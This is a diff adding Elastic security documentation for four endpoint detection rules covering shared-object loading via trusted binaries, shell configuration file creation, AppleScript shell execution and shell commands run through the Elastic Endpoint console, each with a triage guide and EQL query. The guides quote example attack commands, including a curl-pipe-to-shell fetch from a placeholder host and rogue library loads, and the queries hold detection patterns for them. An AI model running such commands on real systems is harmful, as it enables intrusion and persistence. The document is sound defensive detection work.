+=== Shared Object Load via LoLBin + +This rule detects when a process not commonly used to load shared objects, is executed with arguments that load a shared object file. This technique can load a malicious shared object into memory while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/#+library%20load + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shared Object Load via LoLBin* + + +This alert flags a Linux program that normally is not used as a loader but is started with options that pull a shared object into memory, a common way to hide malicious code behind trusted tools. An attacker can launch `openssl -engine /tmp/libcrypto.so` or a short `python -c` snippet that calls `cdll.LoadLibrary("/tmp/libx.so")` to execute a rogue library while blending in with legitimate system activity. + + +*Possible investigation steps* + + +- Review the full command line, ancestor process chain, session context, and executing user to determine whether the shared object load aligns with a legitimate admin task, build workflow, or expected plugin behavior. +- Identify the referenced `.so` file on disk and validate its package ownership, hash reputation, permissions, timestamps, and location, giving extra scrutiny to libraries in temporary, user-writable, hidden, or recently created paths. +- Pivot on the same library path or hash across hosts and users to determine whether it is isolated to one system, newly introduced, or part of a broader sequence involving script execution, file drops, or repeated LoLBin abuse. +- Examine activity immediately before and after the load for suspicious follow-on behavior such as outbound network connections, credential access attempts, unexpected child processes, privilege escalation, or persistence-related file changes. +- If the library is not attributable to approved software, collect the binary and related artifacts for static or sandbox analysis and consider host containment or blocking the file hash and path if corroborating malicious evidence is present. + + +*False positive analysis* + + +- Developers or build jobs may use `python -c`, `ruby -e`, or `openssl -engine` to validate a locally built `.so` during compilation or testing; confirm the parent process and working directory map to an expected build path or `make`-driven workflow and that the library resides in a project or package-managed location. +- Administrators may intentionally load a legitimate shell builtin or application plugin through `bash -c`, `gdb`, or `vim` while troubleshooting or enabling features; verify the session is interactive and attributable to the user, then check that the referenced `.so` is package-owned or stored in a standard system library or plugin directory rather than a writable temporary path. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network, terminate the abusing LoLBin and any spawned processes, and quarantine the referenced `.so` and any copies found in writable locations such as `/tmp`, `/dev/shm`, user home directories, or hidden folders. +- Remove attacker persistence by deleting unauthorized entries from `/etc/ld.so.preload`, shell startup files, cron jobs, systemd services or timers, and any wrapper scripts that relaunch `openssl -engine`, `python -c`, `ruby -e`, or shell commands to load the malicious library. +- Reset credentials and revoke secrets used on the host, including SSH keys, API tokens, and service-account passwords, if the library executed under a privileged account or accessed authentication material, browser data, or configuration files with embedded secrets. +- Restore the host to a known-good state by rebuilding from a trusted image or reinstalling verified packages, then validate that no unapproved libraries, altered loader settings, or attacker-added binaries remain on disk before returning the system to production. +- Escalate to incident response immediately if the same library hash or path is present on multiple hosts, the load occurred as `root`, or the host showed follow-on behavior such as new persistence, remote command execution, or suspicious outbound network connections. +- Harden the environment by restricting plugin and engine loads to approved library directories, enforcing package integrity checks, monitoring for changes to preload files and service definitions, and applying SELinux or AppArmor policies that prevent scripts and LoLBins from loading shared objects from user-writable paths. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat +- Auditd Manager +- CrowdStrike + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "executed", "process_started", "start", "ProcessRollup2") and +?process.parent.executable != null and +( + (process.name == "bash" and process.args == "-c" and process.args like "* enable *-f*.so*") or + (process.name == "openssl" and process.args == "-engine" and process.args like "*.so*") or + (process.name like "python*" and process.args == "-c" and process.args like "*cdll.LoadLibrary*.so*") or + (process.name like "ruby*" and process.args == "-e" and process.args like "*Fiddle.dlopen*.so*") or + (process.name in ("gdb", "gimp", "rview", "rvim", "view", "vim", "vimdiff") and + process.args like "*cdll.LoadLibrary*.so*") or + (process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.args == "-c" and process.args like ("*cdll.LoadLibrary*.so*", "*ruby*-e**Fiddle.dlopen*.so*") + ) +) and +not ( + ?process.parent.executable like ( + "/root/.cache/bazel/_bazel_root/install/*", "/opt/Xilinx/PetaLinux/*", "/usr/bin/find", "/bin/find", + "/opt/nessus_agent/sbin/nessus-agent-module", "/sw/eb/sw/Python/*/bin/python*" + ) or + ?process.parent.name in ("make", "process-wrapper", "bwrap") or + (process.name like "python*" and ?process.command_line like~ "*import torch*torchinductor*") or + ?process.command_line like "*https://github.com/community-scripts/ProxmoxVE/raw/main/LICENSE*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-configuration-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-configuration-creation.asciidoc new file mode 100644 index 0000000000..57ab0ba317 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-configuration-creation.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-34-shell-configuration-creation]] +=== Shell Configuration Creation + +This rule monitors the creation of a shell configuration file. Unix systems use shell configuration files to set environment variables, create aliases, and customize the user's environment. Adversaries may modify or add a shell configuration file to execute malicious code and gain persistence in the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shell Configuration Creation* + + +Shell configuration files in Unix-like systems are crucial for setting up user environments by defining variables, aliases, and startup scripts. Adversaries exploit these files to execute malicious code persistently. The detection rule identifies suspicious creation or modification of these files, excluding benign processes, to flag potential threats, aligning with tactics like persistence and event-triggered execution. + + +*Possible investigation steps* + + +- Review the specific file path involved in the alert to determine if it is a system-wide or user-specific shell configuration file, as listed in the query. +- Identify the process executable that triggered the alert and verify if it is part of the excluded benign processes. If not, investigate the process's origin and purpose. +- Check the creation timestamp of the file to correlate with any known user activities or scheduled tasks that might explain the change. +- Examine the contents of the newly created shell configuration file for any suspicious or unauthorized entries, such as unexpected scripts or commands. +- Investigate the user account associated with the file creation to determine if the activity aligns with their typical behavior or if the account may have been compromised. +- Cross-reference the alert with other security logs or alerts to identify any related suspicious activities or patterns that could indicate a broader attack campaign. + + +*False positive analysis* + + +- System package managers like dpkg, rpm, and yum often modify shell configuration files during software installations or updates. To handle these, exclude processes with executables such as /bin/dpkg or /usr/bin/rpm from triggering alerts. +- Automated system management tools like Puppet and Chef may alter shell configuration files as part of their routine operations. Exclude these processes by adding exceptions for executables like /opt/puppetlabs/puppet/bin/puppet or /usr/bin/chef-client. +- User account management activities, such as adding new users, can lead to shell configuration file modifications. Exclude processes like /usr/sbin/adduser or /sbin/useradd to prevent false positives in these scenarios. +- Temporary files created by text editors (e.g., .swp files) during editing sessions can trigger alerts. Exclude file extensions such as swp, swpx, and swx to avoid these false positives. +- Virtualization and containerization tools like Docker and Podman may modify shell configuration files as part of their operations. Exclude executables like /usr/bin/dockerd or /usr/bin/podman to manage these cases. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Review the modified or newly created shell configuration files to identify and remove any unauthorized or malicious code. +- Restore the affected shell configuration files from a known good backup to ensure the system's environment is clean and secure. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Monitor the system and network for any signs of re-infection or related suspicious activity, focusing on the indicators of compromise (IOCs) associated with the Kaiji malware family. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement additional monitoring and alerting for changes to shell configuration files to enhance detection of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and file.path : ( + // system-wide configurations + "/etc/profile", "/etc/profile.d/*", "/etc/bash.bashrc", "/etc/bash.bash_logout", "/etc/zsh/*", + "/etc/csh.cshrc", "/etc/csh.login", "/etc/fish/config.fish", "/etc/ksh.kshrc", + // root and user configurations + "/home/*/.profile", "/home/*/.bashrc", "/home/*/.bash_login", "/home/*/.bash_logout", "/home/*/.bash_profile", + "/root/.profile", "/root/.bashrc", "/root/.bash_login", "/root/.bash_logout", "/root/.bash_profile", + "/root/.bash_aliases", "/home/*/.bash_aliases", "/home/*/.zprofile", "/home/*/.zshrc", "/root/.zprofile", + "/root/.zshrc", "/home/*/.cshrc", "/home/*/.login", "/home/*/.logout", "/root/.cshrc", "/root/.login", + "/root/.logout", "/home/*/.config/fish/config.fish", "/root/.config/fish/config.fish", "/home/*/.kshrc", + "/root/.kshrc" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/sbin/adduser", "/usr/sbin/useradd", "/usr/local/bin/dockerd", + "/usr/sbin/gdm", "/usr/bin/unzip", "/usr/bin/gnome-shell", "/sbin/mkhomedir_helper", "/usr/sbin/sshd", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/xfce4-session", "/usr/libexec/oddjob/mkhomedir", "/sbin/useradd", + "/usr/lib/systemd/systemd", "/usr/sbin/crond", "/usr/bin/pamac-daemon", "/usr/sbin/mkhomedir_helper", + "/opt/pbis/sbin/lwsmd", "/usr/sbin/oddjobd", "./usr/bin/podman", "/usr/bin/dnf5", "/bin/dnf5", + "/usr/libexec/gnome-terminal-server", "/usr/bin/buildah", "/usr/lib/venv-salt-minion/bin/python.original" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/usr/libexec/platform-python*", "./snap/snapd/*/usr/lib/snapd/snap-update-ns", "/opt/alt/python*/bin/python*" + ) or + process.executable == null or + process.name in ("adclient", "mkhomedir_helper", "teleport", "mkhomedir", "adduser", "desktopDaemon", "executor", "crio") or + (process.name == "sed" and file.name like "sed*") or + (process.name == "perl" and file.name like "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-execution-via-apple-scripting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-execution-via-apple-scripting.asciidoc new file mode 100644 index 0000000000..0c781f3e69 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-execution-via-apple-scripting.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-shell-execution-via-apple-scripting]] +=== Shell Execution via Apple Scripting + +Identifies the execution of the shell process (sh) via scripting (JXA or AppleScript). Adversaries may use the doShellScript functionality in JXA or do shell script in AppleScript to execute system commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.apple.com/library/archive/technotes/tn2065/_index.html +* https://objectivebythesea.com/v2/talks/OBTS_v2_Thomas.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shell Execution via Apple Scripting* + + +AppleScript and JXA are scripting languages used in macOS to automate tasks and control applications. Adversaries exploit these by executing shell commands through functions like `doShellScript`, enabling unauthorized actions such as data exfiltration or system modification. The detection rule identifies suspicious shell processes initiated by AppleScript, focusing on specific command patterns and rapid sequence execution, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id and process.entity_id involved in the suspicious activity. +- Examine the process arguments for osascript to determine the exact AppleScript command executed, focusing on the presence of the "-e" flag which indicates script execution. +- Investigate the parent process of the shell (sh, bash, zsh) to understand the context in which the shell command was executed, using process.parent.entity_id for correlation. +- Analyze the shell command arguments, particularly looking for potentially malicious patterns such as "*curl*", "*pbcopy*", "*http*", or "*chmod*", which may indicate data exfiltration or system modification attempts. +- Check the sequence and timing of the processes to assess if the execution pattern aligns with typical user behavior or if it suggests automated or rapid execution indicative of a script. +- Correlate the findings with any other security alerts or logs from the same host to identify if this activity is part of a broader attack or isolated incident. +- If necessary, escalate the investigation by capturing additional forensic data from the affected host, such as network traffic or file system changes, to further understand the impact and scope of the activity. + + +*False positive analysis* + + +- Routine administrative scripts may trigger the rule if they use AppleScript or JXA to automate tasks involving shell commands. To manage this, identify and whitelist these scripts by their specific command patterns or execution context. +- Software updates or legitimate application installations might execute shell commands through AppleScript, appearing suspicious. Monitor and document these activities, and create exceptions for known update processes. +- Development tools and environments that rely on scripting for building or testing applications can generate false positives. Exclude these processes by verifying their source and ensuring they align with expected development activities. +- User-initiated automation tasks, such as custom scripts for personal productivity, may be flagged. Educate users on safe scripting practices and establish a process for reviewing and approving such scripts to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious shell processes identified by the detection rule, specifically those initiated by `osascript` executing shell commands. +- Conduct a thorough review of the affected system's logs and process history to identify any additional unauthorized activities or persistence mechanisms. +- Remove any unauthorized scripts or files that were executed or created as part of the malicious activity. +- Reset credentials and review permissions for any accounts that may have been compromised or used in the attack. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar patterns of behavior, focusing on the use of `osascript` and shell command execution, to prevent recurrence. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=10s + [process where host.os.type == "macos" and event.type in ("start", "process_started") and event.action == "exec" and process.name == "osascript" and process.args == "-e"] by process.entity_id + [process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name in ("sh", "bash", "zsh") and process.args == "-c" and process.command_line : ("*curl*", "*pbpaste*", "*http*", "*chmod*", "*nscurl*")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-execution-via-elastic-endpoint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-execution-via-elastic-endpoint.asciidoc new file mode 100644 index 0000000000..47141bd562 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-execution-via-elastic-endpoint.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-shell-execution-via-elastic-endpoint]] +=== Shell Execution via Elastic Endpoint + +This rule detects shell executions via Elastic Endpoint. Elastic Endpoint has a built-in response action console that can be used to execute shell commands on compromised systems. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shell Execution via Elastic Endpoint* + + +This rule catches Linux shell sessions launched through the endpoint response console, which matters because that channel can turn a legitimate remote support feature into attacker-controlled command execution on a compromised host. An intruder who hijacks console access might run `bash -c 'curl -fsSL http://x/p.sh | sh'` to fetch and execute a script, establish persistence, or quietly stage follow-on tooling. + + +*Possible investigation steps* + + +- Correlate the alert with Elastic Security response-action or audit records to identify who initiated the console session, the exact command issued, the authentication method used, and whether it matches an approved ticket or incident workflow. +- Reconstruct the shell activity from the process tree, command line, and execution context to determine what the command attempted, whether it ran with elevated privileges, and which follow-on processes it launched. +- Review immediate post-execution host activity for signs of impact such as outbound connections, downloaded scripts or binaries, new cron or systemd persistence, modified startup files, archive creation, or credential-access tooling. +- Check surrounding host telemetry and related detections to understand why the console may have been used, including recent malware findings, host isolation or release actions, suspicious logins, and lateral movement indicators near the same time. +- Scope the initiating user, role, or API key for other response-console actions or unusual administrative behavior across the environment, and if the activity is not authorized, preserve command output and isolate the host while access is revoked. + + +*False positive analysis* + + +- An authorized analyst may use the Elastic Endpoint response console to run a one-line shell command for triage or remediation on a Linux host; confirm the action matches a documented case or approved response record and that the issuing user and time are expected. +- During incident validation or recovery, a responder may execute shell commands through Elastic Endpoint to collect system state or verify a remediation step; verify the command is consistent with benign administrative checks and that related notes or alerts show an active investigation on the same endpoint. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while keeping responder access, terminate any still-running shell or child processes spawned from the Elastic Endpoint console, and block any observed command-and-control destinations or file-download URLs the session contacted. +- Revoke the unauthorized operator’s access by disabling the associated Elastic account or API key, expiring active sessions, rotating any credentials exposed on the host, and preserving the console command history, shell output, and copied scripts for incident evidence. +- Remove attacker footholds by deleting unauthorized cron entries in `/etc/cron*` and user crontabs, rogue systemd units under `/etc/systemd/system` or `/usr/lib/systemd/system`, malicious additions to `~/.bashrc` or `/etc/profile`, altered `authorized_keys`, and any downloaded payloads or helper scripts left in directories such as `/tmp` or `/var/tmp`. +- Restore the system to a known-good state by reimaging or rebuilding the host from a trusted baseline if the shell modified core binaries, package repositories, startup files, or security tooling, and validate that only approved services, users, and scheduled tasks remain before reconnecting it. +- Escalate to the incident response team immediately if the shell session ran as root, created new accounts, accessed secrets or SSH keys, disabled defenses, or issued commands against multiple hosts, and expand scoping to other systems touched by the same operator, account, or downloaded tooling. +- Harden the environment by restricting response-console permissions to a small approved group, enforcing MFA and strong session controls for Elastic administration, alerting on shell launches and persistence paths, and tightening Linux egress and application controls so future console abuse cannot fetch tools or execute arbitrary scripts. + + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and +process.parent.executable == "/opt/Elastic/Endpoint/elastic-endpoint" and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +process.args in ("-c", "-cl", "-lc", "--command") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: 